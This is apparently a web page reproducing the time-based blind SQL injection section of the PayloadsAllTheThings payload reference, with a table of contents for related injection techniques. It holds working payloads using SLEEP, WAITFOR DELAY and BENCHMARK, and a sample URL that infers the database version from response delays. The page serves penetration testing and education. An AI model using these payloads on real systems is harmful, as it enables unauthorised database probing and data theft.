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Time Based Injection

3 code blocks · SQL Injection/README.md

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Time-based SQL Injection is a type of blind SQL Injection attack that relies on database delays to infer whether certain queries return true or false. It is used when an application does not display any direct feedback from the database queries but allows execution of time-delayed SQL commands. The attacker can analyze the time it takes for the database to respond to indirectly gather information from the database. * Default `SLEEP` function for the database

' AND SLEEP(5)/*
' AND '1'='1' AND SLEEP(5)
' ; WAITFOR DELAY '00:00:05' --

* Heavy queries that take a lot of time to complete, usually crypto functions.

BENCHMARK(2000000,MD5(NOW()))

Let's see a basic example to recover the version of the database using a time based sql injection.

http://example.com/item?id=1 AND IF(SUBSTRING(VERSION(), 1, 1) = '5', BENCHMARK(1000000, MD5(1)), 0) --

If the server's response is taking a few seconds before getting received, then the version is starting is by '5'.

Source: SQL Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 186 is a mark on the map. Named now: 1 to 26, reading order first.

  1. SQL Injection§ 1text · README.md
  2. Entry Point Detection§ 2text · README.md
  3. DBMS Identification Keyword Based§ 3text · README.md
  4. DBMS Identification Error Based§ 4text · README.md
  5. Authentication Bypass§ 54 code blocks · README.md
  6. Raw MD5 and SHA1§ 62 code blocks · README.md
  7. Hashed Passwords§ 71 code block · README.md
  8. UNION Based Injection§ 83 code blocks · README.md
  9. Error Based Injection§ 92 code blocks · README.md
  10. Blind Injection§ 10text · README.md
  11. Boolean Based Injection§ 113 code blocks · README.md
  12. Blind Error Based Injection§ 121 code block · README.md
  13. Time Based Injection§ 133 code blocks · README.md
  14. Out of Band (OAST)§ 14text · README.md
  15. Stacked Based Injection§ 151 code block · README.md
  16. Polyglot Injection§ 161 code block · README.md
  17. Routed Injection§ 172 code blocks · README.md
  18. Second Order SQL Injection§ 18text · README.md
  19. PDO Prepared Statements§ 19text · README.md
  20. Generic WAF Bypass§ 20text · README.md
  21. No Space Allowed§ 21text · README.md
  22. Alternative Whitespace Characters§ 22text · README.md
  23. Bypassing with Comments and Parentheses§ 23text · README.md
  24. No Comma Allowed§ 24text · README.md
  25. No Equal Allowed§ 25text · README.md
  26. Case Modification§ 26text · README.md

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Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-13 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.

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